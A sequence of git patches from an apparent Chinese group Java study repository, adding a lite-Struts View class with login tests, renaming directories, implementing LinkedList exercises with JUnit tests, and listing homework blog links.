diff --git a/group23/1323434545/big_work/01_litestruts/src/main/View.java b/group23/1323434545/big_work/01_litestruts/src/main/View.java
new file mode 100644
index 0000000000..93c37fd966
--- /dev/null
+++ b/group23/1323434545/big_work/01_litestruts/src/main/View.java
@@ -0,0 +1,27 @@
+package main;
+
+import java.util.Map;
+
+@SuppressWarnings("rawtypes")
+public class View {
+	private String jsp;
+	private Map parameters;
+
+	public String getJsp() {
+		return jsp;
+	}
+
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+
+	public Map getParameters() {
+		return parameters;
+	}
+
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
\ No newline at end of file
diff --git a/group23/1323434545/big_work/01_litestruts/src/test/StrutsTest.java b/group23/1323434545/big_work/01_litestruts/src/test/StrutsTest.java
new file mode 100644
index 0000000000..836897b221
--- /dev/null
+++ b/group23/1323434545/big_work/01_litestruts/src/test/StrutsTest.java
@@ -0,0 +1,55 @@
+package test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.dom4j.DocumentException;
+import org.junit.Assert;
+import org.junit.Test;
+
+import main.Struts;
+import main.View;
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		String actionName = "login";
+		Map<String, String> params = new HashMap<String, String>();
+		params.put("name", "test");
+		params.put("password", "1234");
+		View view = null;
+		try {
+			view = Struts.runAction(actionName, params);
+		} catch (SecurityException e) {
+			e.printStackTrace();
+		} catch (DocumentException e) {
+			e.printStackTrace();
+		} catch (ReflectiveOperationException e) {
+			e.printStackTrace();
+		}
+		Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+		Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String, String> params = new HashMap<String, String>();
+		params.put("name", "tes");
+		params.put("password", "1234");
+		View view = null;
+		try {
+			view = Struts.runAction(actionName, params);
+		} catch (SecurityException e) {
+			e.printStackTrace();
+		} catch (DocumentException e) {
+			e.printStackTrace();
+		} catch (ReflectiveOperationException e) {
+			e.printStackTrace();
+		}
+		Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+		Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+
+}
diff --git a/group23/1323434545/big_work/01_temp/src/main/Test.java b/group23/1323434545/big_work/01_temp/src/main/Test.java
deleted file mode 100644
index e4585146a0..0000000000
--- a/group23/1323434545/big_work/01_temp/src/main/Test.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package main;
-
-public class Test {
-
-}

From f7fd2fb684e5108e83014e8cd9f26ce27273ecc3 Mon Sep 17 00:00:00 2001
From: "[skycobo]" <[1323434545@qq.com]>
Date: Tue, 4 Apr 2017 20:28:10 +0800
Subject: [PATCH 041/262] =?UTF-8?q?[=E8=8F=A0=E8=90=9DC]:=E4=BF=AE?=
 =?UTF-8?q?=E6=94=B9=E7=9B=AE=E5=BD=95=E5=90=8D=E5=AD=97!?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../01_litestruts/src/main/LoginAction.java                       | 0
 .../{big_work => work_Big}/01_litestruts/src/main/Struts.java     | 0
 .../{big_work => work_Big}/01_litestruts/src/main/View.java       | 0
 .../{big_work => work_Big}/01_litestruts/src/test/StrutsTest.java | 0
 .../1323434545/{big_work => work_Big}/02_temp/src/main/Test.java  | 0
 .../01_5BasicDS}/src/main/ArrayList.java                          | 0
 .../01_5BasicDS}/src/main/BinaryTreeNode.java                     | 0
 .../01_5BasicDS}/src/main/Iterator.java                           | 0
 .../01_5BasicDS}/src/main/LinkedList.java                         | 0
 .../01_5BasicDS}/src/main/List.java                               | 0
 .../01_5BasicDS}/src/main/Queue.java                              | 0
 .../01_5BasicDS}/src/main/Stack.java                              | 0
 .../01_5BasicDS}/src/test/ArrayListTest.java                      | 0
 .../01_5BasicDS}/src/test/BinaryTreeNodeTest.java                 | 0
 .../01_5BasicDS}/src/test/LinkedListTest.java                     | 0
 .../01_5BasicDS}/src/test/QueueTest.java                          | 0
 .../01_5BasicDS}/src/test/StackTest.java                          | 0
 .../01_5BasicDS}/src/utils/ListUtils.java                         | 0
 .../02_ArrayUtil/src/main/ArrayUtil.java                          | 0
 .../02_ArrayUtil/src/test/ArrayUtilTest.java                      | 0
 20 files changed, 0 insertions(+), 0 deletions(-)
 rename group23/1323434545/{big_work => work_Big}/01_litestruts/src/main/LoginAction.java (100%)
 rename group23/1323434545/{big_work => work_Big}/01_litestruts/src/main/Struts.java (100%)
 rename group23/1323434545/{big_work => work_Big}/01_litestruts/src/main/View.java (100%)
 rename group23/1323434545/{big_work => work_Big}/01_litestruts/src/test/StrutsTest.java (100%)
 rename group23/1323434545/{big_work => work_Big}/02_temp/src/main/Test.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/main/ArrayList.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/main/BinaryTreeNode.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/main/Iterator.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/main/LinkedList.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/main/List.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/main/Queue.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/main/Stack.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/test/ArrayListTest.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/test/BinaryTreeNodeTest.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/test/LinkedListTest.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/test/QueueTest.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/test/StackTest.java (100%)
 rename group23/1323434545/{ordinary_work/01_DataStructure => work_DataStructure/01_5BasicDS}/src/utils/ListUtils.java (100%)
 rename group23/1323434545/{ordinary_work => work_DataStructure}/02_ArrayUtil/src/main/ArrayUtil.java (100%)
 rename group23/1323434545/{ordinary_work => work_DataStructure}/02_ArrayUtil/src/test/ArrayUtilTest.java (100%)

diff --git a/group23/1323434545/big_work/01_litestruts/src/main/LoginAction.java b/group23/1323434545/work_Big/01_litestruts/src/main/LoginAction.java
similarity index 100%
rename from group23/1323434545/big_work/01_litestruts/src/main/LoginAction.java
rename to group23/1323434545/work_Big/01_litestruts/src/main/LoginAction.java
diff --git a/group23/1323434545/big_work/01_litestruts/src/main/Struts.java b/group23/1323434545/work_Big/01_litestruts/src/main/Struts.java
similarity index 100%
rename from group23/1323434545/big_work/01_litestruts/src/main/Struts.java
rename to group23/1323434545/work_Big/01_litestruts/src/main/Struts.java
diff --git a/group23/1323434545/big_work/01_litestruts/src/main/View.java b/group23/1323434545/work_Big/01_litestruts/src/main/View.java
similarity index 100%
rename from group23/1323434545/big_work/01_litestruts/src/main/View.java
rename to group23/1323434545/work_Big/01_litestruts/src/main/View.java
diff --git a/group23/1323434545/big_work/01_litestruts/src/test/StrutsTest.java b/group23/1323434545/work_Big/01_litestruts/src/test/StrutsTest.java
similarity index 100%
rename from group23/1323434545/big_work/01_litestruts/src/test/StrutsTest.java
rename to group23/1323434545/work_Big/01_litestruts/src/test/StrutsTest.java
diff --git a/group23/1323434545/big_work/02_temp/src/main/Test.java b/group23/1323434545/work_Big/02_temp/src/main/Test.java
similarity index 100%
rename from group23/1323434545/big_work/02_temp/src/main/Test.java
rename to group23/1323434545/work_Big/02_temp/src/main/Test.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/ArrayList.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/ArrayList.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/main/ArrayList.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/main/ArrayList.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/BinaryTreeNode.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/BinaryTreeNode.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/main/BinaryTreeNode.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/main/BinaryTreeNode.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/Iterator.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Iterator.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/main/Iterator.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Iterator.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/LinkedList.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/LinkedList.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/main/LinkedList.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/main/LinkedList.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/List.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/List.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/main/List.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/main/List.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/Queue.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Queue.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/main/Queue.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Queue.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/Stack.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Stack.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/main/Stack.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/main/Stack.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/test/ArrayListTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/ArrayListTest.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/test/ArrayListTest.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/test/ArrayListTest.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/test/BinaryTreeNodeTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/BinaryTreeNodeTest.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/test/BinaryTreeNodeTest.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/test/BinaryTreeNodeTest.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/test/LinkedListTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/LinkedListTest.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/test/LinkedListTest.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/test/LinkedListTest.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/test/QueueTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/QueueTest.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/test/QueueTest.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/test/QueueTest.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/test/StackTest.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/test/StackTest.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/test/StackTest.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/test/StackTest.java
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/utils/ListUtils.java b/group23/1323434545/work_DataStructure/01_5BasicDS/src/utils/ListUtils.java
similarity index 100%
rename from group23/1323434545/ordinary_work/01_DataStructure/src/utils/ListUtils.java
rename to group23/1323434545/work_DataStructure/01_5BasicDS/src/utils/ListUtils.java
diff --git a/group23/1323434545/ordinary_work/02_ArrayUtil/src/main/ArrayUtil.java b/group23/1323434545/work_DataStructure/02_ArrayUtil/src/main/ArrayUtil.java
similarity index 100%
rename from group23/1323434545/ordinary_work/02_ArrayUtil/src/main/ArrayUtil.java
rename to group23/1323434545/work_DataStructure/02_ArrayUtil/src/main/ArrayUtil.java
diff --git a/group23/1323434545/ordinary_work/02_ArrayUtil/src/test/ArrayUtilTest.java b/group23/1323434545/work_DataStructure/02_ArrayUtil/src/test/ArrayUtilTest.java
similarity index 100%
rename from group23/1323434545/ordinary_work/02_ArrayUtil/src/test/ArrayUtilTest.java
rename to group23/1323434545/work_DataStructure/02_ArrayUtil/src/test/ArrayUtilTest.java

From 69112861bb888df8982fbec1f382f2e699f9de1b Mon Sep 17 00:00:00 2001
From: "[skycobo]" <[1323434545@qq.com]>
Date: Wed, 5 Apr 2017 20:54:07 +0800
Subject: [PATCH 042/262] =?UTF-8?q?[=E8=8F=A0=E8=90=9DC]:=E8=A1=A5?=
 =?UTF-8?q?=E4=BA=A4=E7=AC=AC3=E6=AC=A1=E6=95=B0=E6=8D=AE=E7=BB=93?=
 =?UTF-8?q?=E6=9E=84=E4=BD=9C=E4=B8=9A!?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/main/Iterator.java                    |   6 +
 .../src/main/LinkedList.java                  | 256 ++++++++++++++++++
 .../src/main/List.java                        |   9 +
 .../src/test/LinkedListTest.java              | 251 +++++++++++++++++
 .../src/utils/ListUtils.java                  |  11 +
 5 files changed, 533 insertions(+)
 create mode 100644 group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/Iterator.java
 create mode 100644 group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/LinkedList.java
 create mode 100644 group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/List.java
 create mode 100644 group23/1323434545/work_DataStructure/03_LinkedListOperations/src/test/LinkedListTest.java
 create mode 100644 group23/1323434545/work_DataStructure/03_LinkedListOperations/src/utils/ListUtils.java

diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/Iterator.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/Iterator.java
new file mode 100644
index 0000000000..4a052a8646
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/Iterator.java
@@ -0,0 +1,6 @@
+package main;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/LinkedList.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/LinkedList.java
new file mode 100644
index 0000000000..7242de720f
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/LinkedList.java
@@ -0,0 +1,256 @@
+package main;
+
+import java.util.Arrays;
+
+import utils.ListUtils;
+
+public class LinkedList implements List{
+	private Node head;
+	private int size;
+
+	private static class Node {
+		private Object data;
+		private Node next;
+	}
+
+	@Override
+	public void add(Object o) {
+		add(size, o);
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		ListUtils.CheckIndexInRange(0, size, index);
+		if (0==size) {
+			head = new Node();
+			head.data = o;
+			size++;
+			return;
+		}
+		if (0 == index) {
+			Node node = new Node();
+			node.data = o;
+			node.next = head;
+			head = node;
+			size++;
+			return;
+		}
+		if (index == size) {
+			Node node = head;
+			while (null != node.next) {
+				node = node.next;
+			}
+			Node addNode = new Node();
+			addNode.data = o;
+			node.next = addNode;
+			size++;
+			return;
+		}
+		Node node = head;
+		for (int i = 0; i < index - 1; i++) {
+			node = node.next;
+		}
+		Node addNode = new Node();
+		addNode.data = o;
+		addNode.next = node.next;
+		node.next = addNode;
+		size++;
+	}
+
+	@Override
+	public Object remove(int index) {
+		if(size == 0){
+			return null;
+		}
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		Node node = head;
+		if (0 == index) {
+			head = head.next;
+			size--;
+			return node.data;
+		}
+		for (int i = 0; i < index - 1; i++) {
+			node = node.next;
+		}
+		Node removeNode = node.next;
+		node.next = removeNode.next;
+		size--;
+		return removeNode.data;
+	}
+
+	@Override
+	public Object get(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		Node node = head;
+		for (int i = 0; i < index; i++) {
+			node = node.next;
+		}
+		return node.data;
+	}
+
+	@Override
+	public int size() {
+		return size;
+	}
+
+	public Iterator iterator() {
+		return new Iterator() {
+			private int cursor;
+
+			@Override
+			public boolean hasNext() {
+				if (size > 0) {
+					return cursor < size;
+				} else {
+					return false;
+				}
+
+			}
+
+			@Override
+			public Object next() {
+				Object tag = get(cursor);
+				cursor++;
+				return tag;
+			}
+		};
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){	
+		if(this.size == 0){
+			return;
+		}
+		LinkedList list = new LinkedList();
+		for(int i =this.size-1;i>=0;i--){
+			list.add(this.get(i));
+		}
+		this.head = list.head;
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+	 */
+	public  void removeFirstHalf(){
+		int end = size/2;
+		for(int i=0;i<end;i++){
+			remove(0);
+		}
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		if(i+length>size){
+			return;
+		}
+		for(int j =0;j<length;j++){
+			remove(i);
+		}
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		if(null==list||list.size==0){
+			return new int[0];
+		}
+		int[] result = new int[list.size];
+		int counter = 0;
+		for(int i=0;i<list.size;i++){
+			if((int)list.get(i)<this.size){
+				result[counter++] = (int) this.get((int)list.get(i));
+			}
+			
+		}
+		return Arrays.copyOf(result, counter);
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		if(null==list||list.size==0){
+			return;
+		}
+		for(int i=0;i<list.size;i++){
+			for(int j=0;j<this.size;j++){
+				if(this.get(j).equals(list.get(i))){
+					this.remove(j--);
+				}
+			}
+		}
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		if(size ==0){
+			return;
+		}
+		for(int i=0;i<this.size-1;i++){
+			for(int j=i+1;j<this.size;j++){
+				if(this.get(j).equals(this.get(i))){
+					this.remove(j--);
+				}
+			}
+		}
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		if(min>max){
+			return;
+		}
+		for(int i=0;i<size;i++){
+			if((int)get(i)>min&&(int)get(i)<max){
+				remove(i--);
+			}
+		}
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		LinkedList result = new LinkedList();
+		if(null==list||list.size==0){
+			return result;
+		}
+		for(int i=0;i<this.size;i++){
+			for(int j=0;j<list.size;j++){
+				if(this.get(i).equals(list.get(j))){
+					result.add(this.get(i));
+				}
+			}
+		}
+		return result;
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/List.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/List.java
new file mode 100644
index 0000000000..f5825a0ea6
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/main/List.java
@@ -0,0 +1,9 @@
+package main;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index,Object o);
+	public Object remove(int index);
+	public Object get(int index);
+	public int size();
+}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/test/LinkedListTest.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/test/LinkedListTest.java
new file mode 100644
index 0000000000..ed4f759563
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/test/LinkedListTest.java
@@ -0,0 +1,251 @@
+package test;
+
+import static org.junit.Assert.*;
+import org.junit.Before;
+import org.junit.Test;
+
+import main.LinkedList;
+
+public class LinkedListTest {
+	private LinkedList list;
+	@Before
+	public void setUp() throws Exception {
+		list = new LinkedList();
+	}
+
+	@Test
+	public void testReverse() {
+		list.add(3);
+		list.add(2);
+		list.add(1);
+		list.add(0);
+		int[] expected = {0,1,2,3};
+		list.reverse();
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected[i], list.get(i));
+		}
+	}
+
+	@Test
+	public void testRemoveFirstHalf() {
+		list.add(3);
+		list.add(2);
+		list.add(1);
+		list.add(0);
+		int[] expected = {1,0};
+		list.removeFirstHalf();
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected[i], list.get(i));
+		}
+		
+		list = new LinkedList();
+		list.add(4);
+		list.add(3);
+		list.add(2);
+		list.add(1);
+		list.add(0);
+		int[] expected1 = {2,1,0};
+		list.removeFirstHalf();
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected1[i], list.get(i));
+		}
+		
+	}
+
+	@Test
+	public void testRemoveIntInt() {
+		list.add(3);
+		list.add(2);
+		list.add(1);
+		list.add(0);
+		int[] expected = {3,0};
+		list.remove(1,2);
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected[i], list.get(i));
+		}
+		
+		list = new LinkedList();
+		list.add(4);
+		list.add(3);
+		list.add(2);
+		list.add(1);
+		list.add(0);
+		list.remove(0,8);
+		int[] expected1 = {4,3,2,1,0};
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected1[i], list.get(i));
+		}
+	}
+
+	@Test
+	public void testGetElements() {
+		list.add(11);
+		list.add(101);
+		list.add(201);
+		list.add(301);
+		list.add(401);
+		list.add(501);
+		list.add(601);
+		list.add(701);
+		LinkedList listB = new LinkedList();
+		listB.add(1);
+		listB.add(3);
+		listB.add(4);
+		listB.add(6);
+		int[] expected = {101,301,401,601};
+		int[] array = list.getElements(listB);
+		for(int i=0;i<array.length;i++){
+			assertEquals(expected[i], array[i]);
+		}
+		
+		list = new LinkedList();
+		list.add(11);
+		list.add(101);
+		list.add(201);
+		list.add(301);
+		list.add(401);
+		list.add(501);
+		list.add(601);
+		list.add(701);
+		listB = new LinkedList();
+		listB.add(1);
+		listB.add(3);
+		listB.add(100);
+		listB.add(101);
+		int[] expected1 = {101,301};
+		int[] array1 = list.getElements(listB);
+		for(int i=0;i<array1.length;i++){
+			assertEquals(expected1[i], array1[i]);
+		}
+		
+		list = new LinkedList();
+		list.add(11);
+		list.add(101);
+		list.add(201);
+		list.add(301);
+		list.add(401);
+		list.add(501);
+		list.add(601);
+		list.add(701);
+		listB = new LinkedList();
+		int[] array2 = list.getElements(listB);
+		assertEquals(0, array2.length);
+		
+		
+	}
+
+	@Test
+	public void testSubtract() {
+		list.add(11);
+		list.add(101);
+		list.add(201);
+		list.add(301);
+		list.add(401);
+		list.add(501);
+		list.add(601);
+		list.add(701);
+		LinkedList listB = new LinkedList();
+		listB.add(11);
+		listB.add(201);
+		listB.add(401);
+		listB.add(801);
+		int[] expected = {101,301,501,601,701};
+		list.subtract(listB);
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected[i], list.get(i));
+		}
+		
+		list = new LinkedList();
+		list.add(101);
+		list.add(201);
+		list.add(301);
+		listB = new LinkedList();
+		int[] expected1 = {101,201,301};
+		list.subtract(listB);
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected1[i], list.get(i));
+		}
+	}
+
+	@Test
+	public void testRemoveDuplicateValues() {
+		list.add(1);
+		list.add(1);
+		list.add(2);
+		list.add(2);
+		list.add(3);
+		list.add(3);
+		list.add(4);
+		list.add(4);
+		int[] expected = {1,2,3,4};
+		list.removeDuplicateValues();
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected[i], list.get(i));
+		}
+		
+		list = new LinkedList();
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		int[] expected1 = {1,2,3,4};
+		list.removeDuplicateValues();
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected1[i], list.get(i));
+		}
+	}
+
+	@Test
+	public void testRemoveRange() {
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		list.add(7);
+		int[] expected = {1,7};
+		list.removeRange(1, 7);
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected[i], list.get(i));
+		}
+		
+		list = new LinkedList();
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		list.add(7);
+		int[] expected1 = {1,2,3,4,5,6,7};
+		list.removeRange(0,1);
+		for(int i=0;i<list.size();i++){
+			assertEquals(expected1[i], list.get(i));
+		}
+	}
+
+	@Test
+	public void testIntersection() {
+		list.add(11);
+		list.add(101);
+		list.add(201);
+		list.add(301);
+		list.add(401);
+		list.add(501);
+		list.add(601);
+		list.add(701);
+		LinkedList listB = new LinkedList();
+		listB.add(11);
+		listB.add(33);
+		listB.add(201);
+		listB.add(401);
+		listB.add(801);
+		int[] expected = {11,201,401};
+		LinkedList result=list.intersection(listB);
+		for(int i=0;i<result.size();i++){
+			assertEquals(expected[i], result.get(i));
+		}
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/utils/ListUtils.java b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/utils/ListUtils.java
new file mode 100644
index 0000000000..82b62d462c
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/03_LinkedListOperations/src/utils/ListUtils.java
@@ -0,0 +1,11 @@
+package utils;
+
+public class ListUtils {
+	public static boolean CheckIndexInRange(int start, int end, int index) {
+		if (index >= start && index <= end) {
+			return true;
+		}
+		throw new IndexOutOfBoundsException();
+	}
+
+}

From 3c4242e27344a9c210acba5bda77a203b1fb628f Mon Sep 17 00:00:00 2001
From: chaoswang <chaoswang@163.com>
Date: Wed, 5 Apr 2017 21:37:59 +0800
Subject: [PATCH 043/262] =?UTF-8?q?=E5=9B=9B=E6=AC=A1=E4=BD=9C=E4=B8=9A?=
 =?UTF-8?q?=E5=8D=9A=E5=AE=A2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group06/263050006/article.txt | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/group06/263050006/article.txt b/group06/263050006/article.txt
index 2eaa5b792f..f6a5e2ef49 100644
--- a/group06/263050006/article.txt
+++ b/group06/263050006/article.txt
@@ -1,2 +1,12 @@
-CPU、内存、硬盘、指令以及他们之间的关系
-https://zhuanlan.zhihu.com/p/25442061
\ No newline at end of file
+第一次作业博客：
+CPU、内存、硬盘、指令以及他们之间的关系
+https://zhuanlan.zhihu.com/p/25442061
+第二次作业博客：
+为什么32位处理器只能配4G内存
+https://zhuanlan.zhihu.com/p/26174778
+第三次作业博客：
+报文和帧
+https://zhuanlan.zhihu.com/p/26175504
+第四次作业博客：
+依赖注入通俗解释
+https://zhuanlan.zhihu.com/p/26176550

From 178e2d08d57585028f14f69e48f6645edf5677b7 Mon Sep 17 00:00:00 2001
From: xiaobo <begin161109@163.com>
Date: Thu, 6 Apr 2017 14:38:21 +0800
Subject: [PATCH 044/262] jvm

---
 .../jvm/loader/ClassFileLoader.java           |  92 +++++++++
 .../jvm/test/ClassFileloaderTest.java         | 124 ++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  31 +++
 .../coderising/jvm/test/TestBytetoHex.java    |  29 +++
 .../coding/basic/linklist/LRUPageFrame.java   | 177 ++++++++++++++++
 .../basic/linklist/LRUPageFrameTest.java      |  34 ++++
 .../com/coding/basic/linklist/LinkedList.java | 191 ++++++++++++++++++
 7 files changed, 678 insertions(+)
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/test/EmployeeV1.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/test/TestBytetoHex.java
 create mode 100644 group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrame.java
 create mode 100644 group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrameTest.java
 create mode 100644 group04/349184132/Study/src/com/coding/basic/linklist/LinkedList.java

